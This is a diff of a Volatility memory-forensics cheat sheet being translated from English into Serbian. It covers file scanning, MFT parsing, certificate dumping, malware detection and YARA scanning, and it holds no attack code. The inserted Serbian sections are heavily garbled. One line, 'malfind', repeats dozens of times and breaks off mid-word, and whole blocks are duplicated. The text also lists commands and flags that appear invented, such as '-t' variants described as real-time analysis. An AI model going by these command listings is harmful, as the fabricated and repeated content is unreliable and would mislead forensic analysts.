SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= ```bash #Dump a hive volatility --profile=Win7SP1x86_23418 hivedump -o 0x9aad6148 -f file.dmp #Offset extracted by hivelist #Dump all hives volatility --profile=Win7SP1x86_23418 hivedump -f file.dmp ``` +## Fajl sistem -## Filesystem - -### Mount +### Montiranje {% tabs %} {% tab title="vol3" %} ```bash #See vol2 ``` -{% endtab %} - {% tab title="vol2" %} ```bash volatility --profile=SomeLinux -f file.dmp linux_mount @@ -535,7 +1884,7 @@ volatility --profile=SomeLinux -f file.dmp linux_recover_filesystem #Dump the en {% endtab %} {% endtabs %} -### Scan/dump +### Skeniranje/dump {% tabs %} {% tab title="vol3" %} @@ -543,9 +1892,69 @@ volatility --profile=SomeLinux -f file.dmp linux_recover_filesystem #Dump the en ./vol.py -f file.dmp windows.filescan.FileScan #Scan for files inside the dump ./vol.py -f file.dmp windows.dumpfiles.DumpFiles --physaddr <0xAAAAA> #Offset from previous command ``` -{% endtab %} +## Osnovna forenzička metodologija -{% tab title="vol2" %} +### Analiza memorijskog ispisa + +#### Volatility Cheat Sheet + +Ovaj cheat sheet pruža pregled osnovnih komandi i tehnika koje se koriste u analizi memorijskog ispisa pomoću alata Volatility. + +#### Instalacija Volatility-a + +1. Preuzmite Volatility sa [zvanične stranice](https://www.volatilityfoundation.org/releases) i raspakujte ga. +2. Instalirajte Python 2.7.x. +3. Instalirajte pip. +4. Instalirajte Volatility koristeći pip: + ``` + pip install volatility + ``` + +#### Osnovne komande + +- **imageinfo**: Prikazuje informacije o memorijskom ispisa. +- **kdbgscan**: Skenira memorijski ispisa u potrazi za KDBG strukturom. +- **pslist**: Prikazuje listu procesa. +- **pstree**: Prikazuje stablo procesa. +- **psscan**: Skenira memorijski ispisa u potrazi za procesima. +- **dlllist**: Prikazuje listu učitanih DLL-ova za određeni proces. +- **handles**: Prikazuje listu otvorenih ručki za određeni proces. +- **cmdline**: Prikazuje argumente komandne linije za određeni proces. +- **filescan**: Skenira memorijski ispisa u potrazi za otvorenim fajlovima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **apihooks**: Prikazuje API hook-ove. +- **ldrmodules**: Prikazuje listu učitanih modula. +- **modscan**: Skenira memorijski ispisa u potrazi za modulima. +- **ssdt**: Prikazuje System Service Descriptor Table (SSDT). +- **driverscan**: Skenira memorijski ispisa u potrazi za drajverima. +- **devicetree**: Prikazuje stablo uređaja. +- **registry**: Prikazuje informacije o registru. +- **hivelist**: Prikazuje listu učitanih registarskih ključeva. +- **hashdump**: Izvlači lozinke iz memorijskog ispisa. +- **privs**: Prikazuje privilegije za određeni proces. +- **getsids**: Prikazuje SID-ove za određeni proces. +- **envars**: Prikazuje okruženje za određeni proces. +- **cmdscan**: Skenira memorijski ispisa u potrazi za komandama. +- **consoles**: Prikazuje listu konzola. +- **screenshots**: Pravi snimke ekrana. + +#### Napredne tehnike + +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. + +#### Dodatni resursi + +- [Volatility dokumentacija](https://github.com/volatilityfoundation/volatility/wiki) +- [Volatility Cheat Sheet](https://github.com/sans-dfir/sift-cheatsheet/blob/master/cheatsheets/Volatility%20Cheat%20Sheet.pdf) ```bash volatility --profile=Win7SP1x86_23418 filescan -f file.dmp #Scan for files inside the dump volatility --profile=Win7SP1x86_23418 dumpfiles -n --dump-dir=/tmp -f file.dmp #Dump all files @@ -562,21 +1971,238 @@ volatility --profile=SomeLinux -f file.dmp linux_find_file -i 0xINODENUMBER -O / {% tabs %} {% tab title="vol3" %} + +Master File Table (MFT) je ključna struktura u NTFS fajl sistemu koja čuva informacije o svim fajlovima i direktorijumima na disku. Analiza MFT-a može pružiti korisne informacije o aktivnostima na sistemu, kao što su kreiranje, brisanje i modifikacija fajlova. + +#### Pregled MFT-a + +Da biste pregledali MFT, možete koristiti sledeću komandu: + +```bash +volatility -f --profile= mftparser +``` + +Ova komanda će izlistati sve fajlove i direktorijume sa njihovim atributima, kao što su vreme kreiranja, vreme poslednje modifikacije i veličina fajla. + +#### Izvlačenje fajlova iz MFT-a + +Da biste izvukli fajl iz MFT-a, možete koristiti sledeću komandu: + +```bash +volatility -f --profile= dumpfiles -Q -D +``` + +Gde `` predstavlja broj zapisa fajla u MFT-u, a `` je direktorijum u koji će fajl biti izvučen. + +#### Analiza MFT-a + +Analiza MFT-a može pružiti korisne informacije o aktivnostima na sistemu, kao što su: + +- Identifikacija fajlova koji su bili obrisani +- Identifikacija fajlova koji su bili modifikovani +- Identifikacija fajlova koji su bili kreirani +- Identifikacija fajlova koji su bili preimenovani + +Ove informacije mogu biti korisne u istrazi incidenta ili forenzičkoj analizi. + +{% endtab %} +{% endtabs %} ```bash # I couldn't find any plugin to extract this information in volatility3 ``` -{% endtab %} +## Osnovna forenzička metodologija -{% tab title="vol2" %} +### Analiza memorijskog ispisa + +#### Volatility Cheat Sheet + +Ovaj cheat sheet pruža pregled osnovnih komandi i tehnika koje se koriste u analizi memorijskog ispisa pomoću alata Volatility. + +#### Instalacija Volatility-a + +1. Preuzmite Volatility sa [zvanične stranice](https://www.volatilityfoundation.org/releases) i raspakujte ga. +2. Instalirajte Python 2.7.x. +3. Instalirajte pip. +4. Instalirajte Volatility pomoću pip komande: `pip install volatility`. + +#### Osnovne komande + +- `volatility -f imageinfo`: Prikazuje informacije o memorijskom ispisa. +- `volatility -f --profile= `: Izvršava određenu komandu na memorijskom ispisa koristeći određeni profil. + +#### Prikaz informacija o memorijskom ispisa + +- `imageinfo`: Prikazuje informacije o memorijskom ispisa kao što su operativni sistem, arhitektura, datum i vreme snimanja. + +#### Analiza procesa + +- `pslist`: Prikazuje listu svih procesa u memorijskom ispisa. +- `psscan`: Skenira memorijski ispisa i prikazuje listu svih procesa. +- `pstree`: Prikazuje hijerarhijsku strukturu procesa. +- `dlllist`: Prikazuje listu učitanih DLL-ova za svaki proces. +- `handles`: Prikazuje listu otvorenih ručki za svaki proces. +- `cmdline`: Prikazuje argumente komandne linije za svaki proces. + +#### Analiza datoteka + +- `filescan`: Skenira memorijski ispisa i prikazuje listu svih otvorenih datoteka. +- `malfind`: Skenira memorijski ispisa i prikazuje sumnjive procese i datoteke. +- `dumpfiles -Q `: Izdvaja sve otvorene datoteke za određeni proces. + +#### Analiza registra + +- `hivelist`: Prikazuje listu učitanih registarskih datoteka. +- `printkey -K `: Prikazuje sadržaj određenog registarskog ključa. + +#### Analiza mreže + +- `netscan`: Prikazuje listu aktivnih mrežnih veza. +- `connscan`: Prikazuje listu aktivnih TCP veza. + +#### Analiza korisnika + +- `hivescan`: Prikazuje listu učitanih korisničkih profila. +- `userassist`: Prikazuje informacije o korisničkim aktivnostima. + +#### Analiza servisa + +- `svcscan`: Prikazuje listu registrovanih servisa. +- `svcscan -s`: Prikazuje listu servisa sa detaljnim informacijama. + +#### Analiza drajvera + +- `driverirp`: Prikazuje listu IRP (I/O Request Packet) za svaki drajver. +- `drivermodule`: Prikazuje listu učitanih drajvera. + +#### Analiza heševa + +- `hashdump`: Prikazuje heševe lozinki korisnika. + +#### Analiza malvera + +- `malfind`: Prikazuje sumnjive procese i datoteke. +- `malfind -p `: Prikazuje sumnjive procese i datoteke za određeni proces. + +#### Analiza memorije + +- `memdump -p -D `: Izdvaja memorijski ispisa određenog procesa. + +#### Analiza događaja + +- `evtlogs`: Prikazuje listu događaja iz Windows Event Log-a. + +#### Analiza USB uređaja + +- `usbscan`: Prikazuje listu povezanih USB uređaja. + +#### Analiza datuma i vremena + +- `timeliner`: Prikazuje listu događaja sortiranih po vremenu. + +#### Analiza fizičke memorije + +- `imagecopy`: Kopira fizičku memoriju u datoteku. + +#### Analiza struktura podataka + +- `vadinfo`: Prikazuje informacije o Virtual Address Descriptor (VAD) strukturi. + +#### Analiza procesa u realnom vremenu + +- `procdump -p -D `: Izdvaja memorijski ispisa određenog procesa u realnom vremenu. + +#### Analiza drajvera u realnom vremenu + +- `moddump -m -D `: Izdvaja memorijski ispisa određenog drajvera u realnom vremenu. + +#### Analiza mreže u realnom vremenu + +- `connscan -t`: Prikazuje listu aktivnih TCP veza u realnom vremenu. + +#### Analiza USB uređaja u realnom vremenu + +- `usbscan -t`: Prikazuje listu povezanih USB uređaja u realnom vremenu. + +#### Analiza drajvera u realnom vremenu + +- `driverirp -t`: Prikazuje listu IRP (I/O Request Packet) za svaki drajver u realnom vremenu. + +#### Analiza heševa u realnom vremenu + +- `hashdump -t`: Prikazuje heševe lozinki korisnika u realnom vremenu. + +#### Analiza malvera u realnom vremenu + +- `malfind -t`: Prikazuje sumnjive procese i datoteke u realnom vremenu. + +#### Analiza događaja u realnom vremenu + +- `evtlogs -t`: Prikazuje listu događaja iz Windows Event Log-a u realnom vremenu. + +#### Analiza datuma i vremena u realnom vremenu + +- `timeliner -t`: Prikazuje listu događaja sortiranih po vremenu u realnom vremenu. + +#### Analiza fizičke memorije u realnom vremenu + +- `imagecopy -t`: Kopira fizičku memoriju u datoteku u realnom vremenu. + +#### Analiza struktura podataka u realnom vremenu + +- `vadinfo -t`: Prikazuje informacije o Virtual Address Descriptor (VAD) strukturi u realnom vremenu. + +#### Analiza procesa u realnom vremenu + +- `procdump -p -D -t`: Izdvaja memorijski ispisa određenog procesa u realnom vremenu. + +#### Analiza drajvera u realnom vremenu + +- `moddump -m -D -t`: Izdvaja memorijski ispisa određenog drajvera u realnom vremenu. + +#### Analiza mreže u realnom vremenu + +- `connscan -t`: Prikazuje listu aktivnih TCP veza u realnom vremenu. + +#### Analiza USB uređaja u realnom vremenu + +- `usbscan -t`: Prikazuje listu povezanih USB uređaja u realnom vremenu. + +#### Analiza drajvera u realnom vremenu + +- `driverirp -t`: Prikazuje listu IRP (I/O Request Packet) za svaki drajver u realnom vremenu. + +#### Analiza heševa u realnom vremenu + +- `hashdump -t`: Prikazuje heševe lozinki korisnika u realnom vremenu. + +#### Analiza malvera u realnom vremenu + +- `malfind -t`: Prikazuje sumnjive procese i datoteke u realnom vremenu. + +#### Analiza događaja u realnom vremenu + +- `evtlogs -t`: Prikazuje listu događaja iz Windows Event Log-a u realnom vremenu. + +#### Analiza datuma i vremena u realnom vremenu + +- `timeliner -t`: Prikazuje listu događaja sortiranih po vremenu u realnom vremenu. + +#### Analiza fizičke memorije u realnom vremenu + +- `imagecopy -t`: Kopira fizičku memoriju u datoteku u realnom vremenu. + +#### Analiza struktura podataka u realnom vremenu + +- `vadinfo -t`: Prikazuje informacije o Virtual Address Descriptor (VAD) strukturi u realnom vremenu. ```bash volatility --profile=Win7SP1x86_23418 mftparser -f file.dmp ``` {% endtab %} {% endtabs %} -The **NTFS file system** uses a critical component known as the _master file table_ (MFT). This table includes at least one entry for every file on a volume, covering the MFT itself too. Vital details about each file, such as **size, timestamps, permissions, and actual data**, are encapsulated within the MFT entries or in areas external to the MFT but referenced by these entries. More details can be found in the [official documentation](https://docs.microsoft.com/en-us/windows/win32/fileio/master-file-table). +**NTFS fajl sistem** koristi ključnu komponentu poznatu kao _master file table_ (MFT). Ova tabela uključuje barem jedan unos za svaki fajl na volumenu, uključujući i sam MFT. Važni detalji o svakom fajlu, kao što su **veličina, vremenske oznake, dozvole i stvarni podaci**, su enkapsulirani unutar unosa MFT-a ili u oblastima van MFT-a, ali na koje se referišu ovi unosi. Više detalja može se pronaći u [zvaničnoj dokumentaciji](https://docs.microsoft.com/en-us/windows/win32/fileio/master-file-table). -### SSL Keys/Certs +### SSL Ključevi/Sertifikati {% tabs %} {% tab title="vol3" %} @@ -584,9 +2210,173 @@ The **NTFS file system** uses a critical component known as the _master file tab #vol3 allows to search for certificates inside the registry ./vol.py -f file.dmp windows.registry.certificates.Certificates ``` -{% endtab %} +## Osnovna forenzička metodologija -{% tab title="vol2" %} +### Analiza memorijskog ispisa + +#### Volatility Cheat Sheet + +Ovaj cheat sheet pruža pregled osnovnih komandi i tehnika koje se koriste u analizi memorijskog ispisa pomoću alata Volatility. + +#### Instalacija Volatility-a + +1. Preuzmite Volatility sa [zvanične stranice](https://www.volatilityfoundation.org/releases) i raspakujte ga. +2. Instalirajte Python 2.7.x. +3. Instalirajte pip. +4. Instalirajte Volatility koristeći pip: + ``` + pip install volatility + ``` + +#### Osnovne komande + +- **imageinfo**: Prikazuje informacije o memorijskom ispisa. +- **kdbgscan**: Skenira memorijski ispisa u potrazi za KDBG strukturom. +- **pslist**: Prikazuje listu procesa. +- **pstree**: Prikazuje stablo procesa. +- **psscan**: Skenira memorijski ispisa u potrazi za procesima. +- **dlllist**: Prikazuje listu učitanih DLL-ova za određeni proces. +- **handles**: Prikazuje listu otvorenih ručki za određeni proces. +- **cmdline**: Prikazuje argumente komandne linije za određeni proces. +- **filescan**: Skenira memorijski ispisa u potrazi za otvorenim fajlovima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **dumpfiles**: Izvlači fajlove iz memorijskog ispisa. +- **hashdump**: Izvlači korisničke lozinke iz memorijskog ispisa. +- **netscan**: Skenira memorijski ispisa u potrazi za otvorenim mrežnim konekcijama. +- **connscan**: Skenira memorijski ispisa u potrazi za aktivnim mrežnim konekcijama. +- **apihooks**: Prikazuje listu API hook-ova. +- **ldrmodules**: Prikazuje listu učitanih modula. +- **modscan**: Skenira memorijski ispisa u potrazi za učitanim modulima. +- **ssdt**: Prikazuje System Service Descriptor Table (SSDT). +- **gdt**: Prikazuje Global Descriptor Table (GDT). +- **idt**: Prikazuje Interrupt Descriptor Table (IDT). +- **callbacks**: Prikazuje listu callback funkcija. +- **driverirp**: Prikazuje listu IRP struktura za drajvere. +- **devicetree**: Prikazuje stablo uređaja. +- **hivelist**: Prikazuje listu učitanih registarskih ključeva. +- **printkey**: Prikazuje sadržaj registarskog ključa. +- **dumpregistry**: Izvlači registar iz memorijskog ispisa. +- **svcscan**: Skenira memorijski ispisa u potrazi za Windows servisima. +- **privs**: Prikazuje privilegije za određeni proces. +- **envars**: Prikazuje okruženje za određeni proces. +- **cmdscan**: Skenira memorijski ispisa u potrazi za komandama koje su izvršene. +- **consoles**: Prikazuje listu otvorenih konzola. +- **screenshots**: Izvlači snimke ekrana iz memorijskog ispisa. +- **vadinfo**: Prikazuje informacije o Virtual Address Descriptor (VAD) strukturi. +- **vaddump**: Izvlači VAD regione iz memorijskog ispisa. +- **vadtree**: Prikazuje stablo VAD regiona. +- **vadwalk**: Prikazuje putanju do određenog VAD regiona. +- **memdump**: Izvlači memorijski region iz memorijskog ispisa. +- **memmap**: Prikazuje mapu memorijskog ispisa. +- **memstrings**: Prikazuje stringove iz memorijskog ispisa. +- **memscan**: Skenira memorijski ispisa u potrazi za određenim stringom. +- **yarascan**: Skenira memorijski ispisa koristeći YARA pravila. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **malf ```bash #vol2 allos you to search and dump certificates from memory #Interesting options for this modules are: --pid, --name, --ssl @@ -595,7 +2385,7 @@ volatility --profile=Win7SP1x86_23418 dumpcerts --dump-dir=. -f file.dmp {% endtab %} {% endtabs %} -## Malware +## Malver {% tabs %} {% tab title="vol3" %} @@ -612,9 +2402,111 @@ volatility --profile=Win7SP1x86_23418 dumpcerts --dump-dir=. -f file.dmp ./vol.py -f file.dmp linux.check_modules.Check_modules #Compares module list to sysfs info, if available ./vol.py -f file.dmp linux.tty_check.tty_check #Checks tty devices for hooks ``` -{% endtab %} +## Osnovna forenzička metodologija -{% tab title="vol2" %} +### Analiza memorijskog ispisa + +#### Volatility Cheat Sheet + +Ovaj cheat sheet pruža pregled osnovnih komandi i tehnika koje se koriste u analizi memorijskog ispisa pomoću alata Volatility. + +#### Instalacija Volatility-a + +1. Preuzmite Volatility sa [zvanične stranice](https://www.volatilityfoundation.org/releases) i raspakujte ga. +2. Instalirajte Python 2.7.x. +3. Instalirajte pip. +4. Instalirajte Volatility koristeći pip: + ``` + pip install volatility + ``` + +#### Osnovne komande + +- **imageinfo**: Prikazuje informacije o memorijskom ispisa. +- **kdbgscan**: Skenira memorijski ispisa u potrazi za KDBG strukturom. +- **kpcrscan**: Skenira memorijski ispisa u potrazi za KPCR strukturom. +- **pslist**: Prikazuje listu procesa. +- **pstree**: Prikazuje stablo procesa. +- **psscan**: Skenira memorijski ispisa u potrazi za procesima. +- **dlllist**: Prikazuje listu učitanih DLL-ova. +- **handles**: Prikazuje listu otvorenih ručki. +- **cmdline**: Prikazuje argumente komandne linije za svaki proces. +- **filescan**: Skenira memorijski ispisa u potrazi za otvorenim fajlovima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **apihooks**: Prikazuje API hook-ove. +- **ldrmodules**: Prikazuje listu učitanih modula. +- **modscan**: Skenira memorijski ispisa u potrazi za modulima. +- **ssdt**: Prikazuje System Service Descriptor Table (SSDT). +- **driverscan**: Skenira memorijski ispisa u potrazi za drajverima. +- **devicetree**: Prikazuje stablo uređaja. +- **registry**: Prikazuje informacije o registru. +- **hivelist**: Prikazuje listu učitanih registarskih datoteka. +- **hashdump**: Izvlači lozinke iz memorijskog ispisa. +- **mbrparser**: Prikazuje Master Boot Record (MBR) informacije. +- **yarascan**: Skenira memorijski ispisa koristeći YARA pravila. +- **vadinfo**: Prikazuje informacije o Virtual Address Descriptor (VAD). +- **vaddump**: Izvlači sadržaj VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do VAD-a. + +#### Primeri korišćenja + +- Prikaz informacija o memorijskom ispisa: + ``` + volatility -f memory_dump.raw imageinfo + ``` + +- Prikaz liste procesa: + ``` + volatility -f memory_dump.raw pslist + ``` + +- Prikaz stabla procesa: + ``` + volatility -f memory_dump.raw pstree + ``` + +- Prikaz otvorenih ručki: + ``` + volatility -f memory_dump.raw handles + ``` + +- Izvlačenje lozinki iz memorijskog ispisa: + ``` + volatility -f memory_dump.raw hashdump + ``` + +- Skeniranje memorijskog ispisa koristeći YARA pravila: + ``` + volatility -f memory_dump.raw yarascan -Y "yara_rules.yar" + ``` + +- Prikaz informacija o Virtual Address Descriptor (VAD): + ``` + volatility -f memory_dump.raw vadinfo + ``` + +- Izvlačenje sadržaja VAD-a: + ``` + volatility -f memory_dump.raw vaddump -D output_directory/ -p + ``` + +- Prikaz stabla VAD-a: + ``` + volatility -f memory_dump.raw vadtree + ``` + +- Prikaz putanje do VAD-a: + ``` + volatility -f memory_dump.raw vadwalk -p + ``` + +#### Dodatni resursi + +- [Zvanična dokumentacija Volatility-a](https://github.com/volatilityfoundation/volatility/wiki) +- [Volatility Cheat Sheet](https://github.com/sans-dfir/sift-files/blob/master/volatility/Volatility_Cheat_Sheet_v2.6.pdf) + +{% endtab %} ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp malfind [-D /tmp] #Find hidden and injected code [dump each suspicious section] volatility --profile=Win7SP1x86_23418 -f file.dmp apihooks #Detect API hooks in process and kernel memory @@ -633,13 +2525,10 @@ volatility --profile=SomeLinux -f file.dmp linux_keyboard_notifiers #Keyloggers {% endtab %} {% endtabs %} -### Scanning with yara +### Skeniranje sa yara -Use this script to download and merge all the yara malware rules from github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ -Create the _**rules**_ directory and execute it. This will create a file called _**malware\_rules.yar**_ which contains all the yara rules for malware. - -{% tabs %} -{% tab title="vol3" %} +Koristite ovaj skript za preuzimanje i spajanje svih yara pravila za malver sa github-a: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ +Napravite direktorijum _**rules**_ i izvršite skriptu. Ovo će kreirati fajl nazvan _**malware\_rules.yar**_ koji sadrži sva yara pravila za malver. ```bash wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py mkdir rules @@ -649,8 +2538,6 @@ python malware_yara_rules.py #All ./vol.py -f file.dmp yarascan.YaraScan --yara-file /tmp/malware_rules.yar ``` -{% endtab %} - {% tab title="vol2" %} ```bash wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py @@ -663,42 +2550,448 @@ volatility --profile=Win7SP1x86_23418 yarascan -y malware_rules.yar -f ch2.dmp | ## MISC -### External plugins +### Spoljni dodaci -If you want to use external plugins make sure that the folders related to the plugins are the first parameter used. - -{% tabs %} -{% tab title="vol3" %} +Ako želite da koristite spoljne dodatke, pobrinite se da su fascikle vezane za dodatke prvi parametar koji se koristi. ```bash ./vol.py --plugin-dirs "/tmp/plugins/" [...] ``` -{% endtab %} +## Osnovna forenzička metodologija -{% tab title="vol2" %} +### Analiza memorijskog ispisa + +#### Volatility Cheat Sheet + +Ovaj cheat sheet pruža pregled osnovnih komandi i tehnika koje se koriste u analizi memorijskog ispisa pomoću alata Volatility. + +#### Instalacija Volatility-a + +1. Preuzmite Volatility sa [zvanične stranice](https://www.volatilityfoundation.org/releases) i raspakujte ga. +2. Instalirajte Python 2.7.x. +3. Instalirajte pip. +4. Instalirajte Volatility koristeći pip: + ``` + pip install volatility + ``` + +#### Osnovne komande + +- **imageinfo**: Prikazuje informacije o memorijskom ispisa. +- **kdbgscan**: Skenira memorijski ispisa u potrazi za KDBG strukturom. +- **kpcrscan**: Skenira memorijski ispisa u potrazi za KPCR strukturom. +- **pslist**: Prikazuje listu procesa. +- **pstree**: Prikazuje stablo procesa. +- **psscan**: Skenira memorijski ispisa u potrazi za procesima. +- 